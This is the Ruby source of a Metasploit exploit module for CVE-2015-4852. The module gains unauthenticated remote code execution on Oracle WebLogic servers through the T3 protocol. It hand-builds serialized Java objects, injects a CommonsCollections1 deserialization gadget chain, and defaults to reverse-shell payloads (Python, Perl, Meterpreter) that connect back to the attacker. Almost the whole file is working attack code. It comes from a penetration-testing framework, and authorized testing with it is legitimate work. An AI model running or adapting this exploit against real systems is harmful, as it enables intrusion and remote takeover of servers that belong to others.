Path: blob/master/modules/exploits/multi/misc/weblogic_deserialize_rawobject.rb
30151 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::JavaDeserialization1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Oracle Weblogic Server Deserialization RCE - Raw Object',16'Description' => %q{17An unauthenticated attacker with network access to the Oracle Weblogic Server T318interface can send a serialized object (weblogic.jms.common.StreamMessageImpl)19to the interface to execute code on vulnerable hosts.20},21'Author' => [22'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)23'Stephen Breen', # Vulnerability Discovery24'Aaron Soto', # Reverse Engineering JSO and ysoserial blobs25'Steve Embling', # T3S porting and testing26],27'License' => MSF_LICENSE,28'References' => [29['CVE', '2015-4852']30],31'Privileged' => false,32'Targets' => [33[34'Unix',35{36'Platform' => 'unix',37'Arch' => ARCH_CMD,38'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' },39'Payload' => {40'Compat' => { 'PayloadType' => 'cmd' }41}42}43],44[45'Windows',46{47'Platform' => 'win',48'Payload' => {},49'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }50}51],52[53'Solaris',54{55'Platform' => 'solaris',56'Arch' => ARCH_CMD,57'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },58'Payload' => {59'Space' => 2048,60'DisableNops' => true,61'Compat' =>62{63'PayloadType' => 'cmd',64'RequiredCmd' => 'generic perl telnet'65}66}67}68]69],70'DefaultTarget' => 0,71'DisclosureDate' => '2015-01-28',72'Notes' => {73'Reliability' => [REPEATABLE_SESSION],74'Stability' => [CRASH_SAFE],75'SideEffects' => [IOC_IN_LOGS]76}77)78)7980register_options([81Opt::RPORT(7001),82])8384register_advanced_options([85OptBool.new('FORCE_T3', [false, 'Force T3 protocol even over SSL', false])86])87end8889=begin This check is currently incompatible with the Tcp mixin. :-(90def check91resp = send_request_cgi(92'method' => 'GET',93'uri' => '/console/login/LoginForm.jsp'94)9596return CheckCode::Unknown unless resp && resp.code == 2009798unless resp.body.include?('Oracle WebLogic Server Administration Console')99vprint_warning("Oracle WebLogic Server banner cannot be found")100return CheckCode::Unknown101end102103/WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body104unless version105vprint_warning("Oracle WebLogic Server version cannot be found")106return CheckCode::Unknown107end108109version = Rex::Version.new(version)110vprint_good("Detected Oracle WebLogic Server Version: #{version}")111case112when version.to_s.start_with?('10.3')113return CheckCode::Appears unless version > Rex::Version.new('10.3.6.0')114when version.to_s.start_with?('12.1.2')115return CheckCode::Appears unless version > Rex::Version.new('12.1.2.0')116when version.to_s.start_with?('12.1.3')117return CheckCode::Appears unless version > Rex::Version.new('12.1.3.0')118when version.to_s.start_with?('12.2')119return CheckCode::Appears unless version > Rex::Version.new('12.2.1.0')120end121122return CheckCode::Safe123end124=end125126def t3_handshake127# retrieved from network traffic128if !datastore['SSL'] || datastore['FORCE_T3']129shake = 't3'130else131shake = 't3s'132end133shake << " 12.2.1\n"134shake << "AS:255\n"135shake << "HL:19\n"136shake << "MS:10000000\n\n"137138sock.put(shake)139sleep(1)140sock.get_once141end142143def build_t3_request_object144# T3 request serialized data145# retrieved by watching network traffic146# This is a proprietary, undocumented protocol147148# TODO: Cite a source for the dissection of in the following 14 lines:149data = '000005c3' # lenght of the packet150data << '01' # CMD_IDENTIFY_REQUEST151data << '65' # QOS152data << '01' # Flags:153# CONTEXT_JVMID_FLAG = 1 (has JVMIDs)154# CONTEXT_TX_FLAG = 2155# CONTEXT_TRACE_FLAG = 4156# CONTEXT_EXTENDED_FLAG = 8157# CONTEXT_EXTENDED_USER_FLAG = 16158data << 'ffffffff' # response id159data << 'ffffffff' # invocable id160data << '0000006a' # abbrev offset161data << '0000ea60' # reconnect timeout ??162163data << '0000001900937b484a'164data << '56fa4a777666f581daa4f5b90e2aebfc607499'165data << 'b4027973720078720178720278700000000a00'166data << '00000300000000000000060070707070707000'167data << '00000a000000030000000000000006007006'168169data << 'fe010000' # ----- separator -----170171data << 'aced0005' # JSO v5 header172data << '73' # object header173data << '72001d' # className (29 bytes):174data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry175data << '5461626c65456e747279' # (continued)176data << '2f52658157f4f9ed' # serialVersionUID177data << '0c00007870' # remainder of object header178data << '72' # object header179data << '00247765626c6f6769632e636f6d6d6f6e2e696e74' # className (36 bytes): weblogic.common.internal.PackageInfo180data << '65726e616c2e5061636b616765496e666f' # (continued)181data << 'e6f723e7b8ae1ec9' # serialVersionUID182data << '02' # SC_SERIALIZABLE183data << '0008' # fieldCount = 8184data << '4900056d616a6f72' # 0: Int: major185data << '4900056d696e6f72' # 1: Int: minor186data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch187data << '49000b736572766963655061636b' # 3: Int: servicePack188data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch189data << '4c0009696d706c5469746c65' # 5: Obj: implTitle190data << '7400124c6a6176612f6c616e672f537472696e673b' # java/lang/String191data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor192data << '71007e0003' # (Handle) 0x007e0003193data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion194data << '71007e0003' # (Handle) 0x007e0003195data << '78707702000078' # block footers196197data << 'fe010000' # ----- separator -----198199data << 'aced0005' # JSO v5 header200data << '7372' # object header201data << '001d7765626c6f6769632e726a766d2e436c6173' # className (29 bytes): weblogic.rjvm.ClassTableEntry202data << '735461626c65456e747279' # (continued)203data << '2f52658157f4f9ed' # serialVersionUID204data << '0c' # EXTERNALIZABLE | BLOCKDATA205data << '00007870' # remainder of object header206data << '72' # object header207data << '00247765626c6f6769632e636f6d6d6f6e2e696' # className (36 bytes): weblogic.common.internal.VersionInfo208data << 'e7465726e616c2e56657273696f6e496e666f' # (continued)209data << '972245516452463e' # serialVersionUID210data << '02' # SC_SERIALIZABLE211data << '0003' # fieldCount = 3212data << '5b0008' # array header (8 bytes)213data << '7061636b61676573' # ARRAY NAME = 'packages'214data << '740027' # TC_STRING className1 (39 bytes)215data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # weblogic/common/internal/PackageInfo216data << '6e7465726e616c2f5061636b616765496e666f' # (continued)217data << '3b' # (continued)218data << '4c000e' # object header (14 bytes)219data << '72656c6561736556657273696f6e' # releaseVersion220data << '740012' # TC_STRING (18 bytes)221data << '4c6a6176612f6c616e672f537472696e673b' # versionInfoAsBytes222data << '5b0012' # array header (18 bytes)223data << '76657273696f6e496e666f41734279746573' # ARRAY NAME = java/lang/String;224data << '740002' # TC_STRING (2 bytes)225data << '5b42' # 0x5b42 = [B226data << '78' # block footer227228data << '720024' # class (36 bytes)229data << '7765626c6f6769632e636f6d6d6f6e2e696e' # weblogic.common.internal.PackageInfo230data << '7465726e616c2e5061636b616765496e666f' # (continued)231data << 'e6f723e7b8ae1ec9' # serialVersionUID232233data << '02' # SC_SERIALIZABLE234data << '0008' # fieldCount = 8235data << '4900056d616a6f72' # 0: Int: major236data << '4900056d696e6f72' # 1: Int: minor237data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch238data << '49000b736572766963655061636b' # 3: Int: servicePack239data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch240data << '4c0009696d706c5469746c65' # 5: Obj: implTitle241data << '71' # TC_REFERENCE242data << '007e0004' # Handle = 0x007e0004243data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor244data << '71' # TC_REFERENCE245data << '007e0004' # Handle = 0x007e0004246data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion247data << '71' # TC_REFERENCE248data << '007e0004' # Handle = 0x007e0004249data << '78' # class footer250data << '70' # TC_NULL251data << '77020000' # BLOCKDATA (2 bytes): 0x0000252data << '78' # block footer253254data << 'fe010000' # ----- separator -----255256data << 'aced0005' # JSO v5 header257data << '73' # object header258data << '72001d' # className (29 bytes):259data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry260data << '5461626c65456e747279' # (continued)261data << '2f52658157f4f9ed' # serialVersionUID262data << '0c00007870' # remainder of object header263data << '720021' # className (33 bytes)264data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # weblogic.common.internal.PeerInfo265data << '65726e616c2e50656572496e666f' # (continued)266data << '585474f39bc908f1' # serialVersionUID267data << '02' # SC_SERIALIZABLE268data << '0006' # fieldCount = 6269data << '4900056d616a6f72' # 0: Int: major270data << '4900056d696e6f72' # 1: Int: minor271data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch272data << '49000b736572766963655061636b' # 3: Int: servicePack273data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch274data << '5b00087061636b61676573' # 5: Array: packages275data << '740027' # TC_STRING (39 bytes)276data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # Lweblogic/common/internal/PackageInfo;277data << '6e7465726e616c2f5061636b616765496e666f' # (continued)278data << '3b' # (continued)279data << '78' # block footer280data << '720024' # class header281data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # Name = Lweblogic/common/internal/PackageInfo;282data << '65726e616c2e56657273696f6e496e666f' # (continued)283data << '972245516452463e' # serialVersionUID284data << '02' # SC_SERIALIZABLE285data << '0003' # fieldCount = 3286data << '5b0008' # 0: Array287data << '7061636b6167657371' # packages288data << '007e0003' # Handle = 0x00730003289data << '4c000e72656c6561736556657273696f6e' # 1: Obj: releaseVersion290data << '7400124c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;291data << '5b001276657273696f6e496e666f41734279746573' # 2: Array: versionInfoAsBytes292data << '740002' # TC_STRING (2 bytes)293data << '5b42' # VALUE = 0x5b42 = [B294data << '78' # block footer295data << '720024' # class header296data << '7765626c6f6769632e636f6d6d6f6e2e696e746572' # Name = weblogic.common.internal.PackageInfo297data << '6e616c2e5061636b616765496e666f' # (continued)298data << 'e6f723e7b8ae1ec9' # serialVersionUID299data << '02' # SC_SERIALIZABLE300data << '0008' # fieldCount = 8301data << '4900056d616a6f72' # 0: Int: major302data << '4900056d696e6f72' # 1: Int: minor303data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch304data << '49000b736572766963655061636b' # 3: Int: servicePack305data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch306data << '4c0009696d706c5469746c65' # 5: Obj: implTitle307data << '71' # TC_REFERENCE308data << '007e0005' # Handle = 0x007e0005309data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor310data << '71' # TC_REFERENCE311data << '007e0005' # Handle = 0x007e0005312data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion313data << '71' # TC_REFERENCE314data << '007e0005' # Handle = 0x007e0005315data << '78' # class footer316data << '707702000078' # block footers317318data << 'fe00ff' # this cruft again. some kind of footer319320data << 'fe010000' # ----- separator -----321322# weblogic.rjvm.JVMID object323data << 'aced0005' # JSO v5 header324data << '73' # object header325data << '720013' # class header326data << '7765626c6f6769632e726a766d2e4a564d4944' # name = 'weblogic.rjvm.JVMID'327data << 'dc49c23ede121e2a' # serialVersionUID328data << '0c' # EXTERNALIZABLE | BLOCKDATA329data << '0000' # fieldCount = 0 (!!!)330data << '78' # block footer331data << '70' # NULL332data << '7750' # block header (80 bytes)333data << '21' # !334data << '000000000000000000' # 9 NULL BYTES335336data << '0d' # strLength = 13 bytes337# data << '3139322e3136382e312e323237' # original PoC string = 192.168.1.227338data << '3030302e3030302e3030302e30' # new string = 000.000.000.0339# (must be an IP, and length isn't trivially editable)340data << '00' # \0341342data << '12' # strLength = 18 bytes343# data << '57494e2d4147444d565155423154362e6568' # original str = WIN-AGDMVQUB1T6.eh344data << rand_text_alphanumeric(18).unpack('H*')[0]345346data << '83348cd6' # original = ??? UNKNOWN ??? (Note: Cannot be randomized)347348data << '000000070000' # ??? UNKNOWN ???349data << rport.to_s(16).rjust(4, '0') # callback port350data << 'ffffffffffffffffffffffffffffffffffffff' # ??? UNKNOWN ???351data << 'ffffffffff' # ??? UNKNOWN ???352data << '78' # block footer353354data << 'fe010000' # ----- separator -----355356# weblogic.rjvm.JVMID object357data << 'aced0005' # JSO v5 header358data << '73' # object header359data << '72' # class360data << '00137765626c6f6769632e726a766d2e4a564d4944' # Name: weblogic.rjvm.JVMID361data << 'dc49c23ede121e2a' # serialVersionUID362data << '0c' # EXTERNALIZABLE | BLOCKDATA363data << '0000' # fieldCount = 0364data << '78' # end block365data << '70' # TC_NULL366data << '77' # block header367data << '20' # length = 32 bytes368data << '0114dc42bd071a772700' # old string = ??? UNKNOWN ???369# data << rand_text_alphanumeric(10).unpack('H*')[0] # (NOTE: RANDOMIZATION BREAKS THINGS)370371data << '0d' # string length = 13 bytes (NOTE: do not edit)372# data << '3234322e3231342e312e323534' # original string = 242.214.1.254373data << '3030302e3030302e3030302e30' # new string = 000.000.000.0374# (must be an IP, and length isn't trivially editable)375376# data << '61863d1d' # original string = ??? UNKNOWN ???377data << rand_text_alphanumeric(4).unpack('H*')[0] # new = randomized378379data << '00000000' # NULL BYTES380data << '78' # block footer381382sock.put([data].pack('H*'))383sleep(1)384sock.get_once385end386387def send_payload_objdata388# basic weblogic ClassTableEntry object (serialized)389# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?390objdata = '056508000000010000001b0000005d0101007372017870737202787000000000'391objdata << '00000000757203787000000000787400087765626c6f67696375720478700000'392objdata << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'393394objdata << 'fe010000' # ----- separator -----395396objdata << 'aced0005' # JSO v5 header397objdata << '73' # object header398objdata << '72' # class399objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry400objdata << '73735461626c65456e747279' # (cont)401objdata << '2f52658157f4f9ed' # serialVersionUID402objdata << '0c' # EXTERNALIZABLE | BLOCKDATA403objdata << '0000' # fieldCount = 0404objdata << '7870' # remaining object header405objdata << '72' # class header406objdata << '00025b42' # Name: 0x5b42407objdata << 'acf317f8060854e0' # serialVersionUID408objdata << '02' # SERIALIZABLE409objdata << '0000' # fieldCount = 0410objdata << '7870' # class footer411objdata << '77' # block header412objdata << '020000' # contents = 0x0000413objdata << '78' # block footer414415objdata << 'fe010000' # ----- separator -----416417objdata << 'aced0005' # JSO v5 header418objdata << '73' # object header419objdata << '72' # class420objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry421objdata << '73735461626c65456e747279' # (cont)422objdata << '2f52658157f4f9ed' # serialVersionUID423objdata << '0c' # EXTERNALIZABLE | BLOCKDATA424objdata << '0000' # fieldCount = 0425objdata << '7870' # remaining object header426objdata << '72' # class header427428objdata << '00135b4c6a6176612e6c616e672e4f626a' # Name: [Ljava.lang.Object;429objdata << '6563743b' # (cont)430objdata << '90ce589f1073296c' # serialVersionUID431objdata << '02' # SERIALIZABLE432objdata << '0000' # fieldCount = 0433objdata << '7870' # remaining object header434objdata << '77' # block header435objdata << '020000' # contents = 0x0000436objdata << '78' # block footer437438objdata << 'fe010000' # ----- separator -----439440objdata << 'aced0005' # JSO v5 header441objdata << '73' # object header442objdata << '72' # class443444objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry445objdata << '73735461626c65456e747279' # (cont)446objdata << '2f52658157f4f9ed' # serialVersionUID447objdata << '0c' # SERIALIZABLE | BLOCKDATA448objdata << '0000' # fieldCount = 0449objdata << '7870' # block footer450objdata << '72' # class header451objdata << '00106a6176612e7574696c2e566563746f72' # Name: java.util.Vector452objdata << 'd9977d5b803baf01' # serialVersionUID453objdata << '03' # WRITE_METHOD | SERIALIZABLE454objdata << '0003' # fieldCount = 3455objdata << '4900116361706163697479496e6372656d656e74' # 0: Int: capacityIncrement456objdata << '49000c656c656d656e74436f756e74' # 1: Int: elementCount457objdata << '5b000b656c656d656e7444617461' # 2: Array: elementData458objdata << '7400135b4c6a6176612f6c616e672f4f626a6563' # 3: String: [Ljava/lang/Object;459objdata << '743b' # (cont)460objdata << '7870' # remaining object header461objdata << '77' # block header462objdata << '020000' # contents = 0x0000463objdata << '78' # block footer464465objdata << 'fe010000' # ----- separator -----466467java_payload = generate_java_deserialization_for_payload('CommonsCollections1', payload)468objdata << java_payload.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join469470objdata << 'fe010000' # ----- separator -----471472# basic weblogic ImmutableServiceContext object (serialized)473objdata << 'aced0005' # JSO v5 header474objdata << '73' # object header475objdata << '72' # class476objdata << '00257765626c6f6769632e726a766d2e496d6d75' # Name: weblogic.rjvm.ImmutableServiceContext477objdata << '7461626c6553657276696365436f6e74657874' # (cont)478objdata << 'ddcba8706386f0ba' # serialVersionUID479objdata << '0c' # EXTERNALIZABLE | BLOCKDATA480objdata << '0000' # fieldCount = 0481objdata << '78' # object footer482objdata << '72' # block header483objdata << '00297765626c6f6769632e726d692e70726f76' # Name: weblogic.rmi.provider.BasicServiceContext484objdata << '696465722e426173696353657276696365436f' # (cont)485objdata << '6e74657874' # (cont)486objdata << 'e4632236c5d4a71e' # serialVersionUID487objdata << '0c' # EXTERNALIZABLE | BLOCKDATA488objdata << '0000' # fieldCount = 0489objdata << '7870' # block footer490objdata << '77' # block header491objdata << '020600' # contents = 0x0600492objdata << '7372' # class descriptor493objdata << '00267765626c6f6769632e726d692e696e7465' # Name: weblogic.rmi.internal.MethodDescriptor494objdata << '726e616c2e4d6574686f644465736372697074' # (cont)495objdata << '6f72' # (cont)496objdata << '12485a828af7f67b' # serialVersionUID497objdata << '0c' # EXTERNALIZABLE | BLOCKDATA498objdata << '0000' # fieldCount = 0499objdata << '7870' # class footer500objdata << '77' # class data501502# payload << '34002e61757468656e746963617465284c7765' # old contents = 0x002e61757468656e746963617465284c7765503# payload << '626c6f6769632e73656375726974792e61636c' # 626c6f6769632e73656375726974792e61636c504# payload << '2e55736572496e666f3b290000001b' # 2e55736572496e666f3b290000001b505objdata << rand_text_alphanumeric(52).unpack('H*')[0] # new = randomized506objdata << '78' # class footer507objdata << '78' # block footer508# MISSING OBJECT FOOTER (0x78)509510objdata << 'fe00ff' # this cruft again. some kind of footer511512# sets the length of the stream513data = ((objdata.length >> 1) + 4).to_s(16).rjust(8, '0')514data << objdata515516sock.put([data].pack('H*'))517sleep(1)518sock.get_once519end520521def exploit522connect523524print_status('Sending handshake...')525t3_handshake526527print_status('Sending T3 request object...')528build_t3_request_object529530print_status('Sending client object payload...')531send_payload_objdata532533handler534disconnect535end536end537538539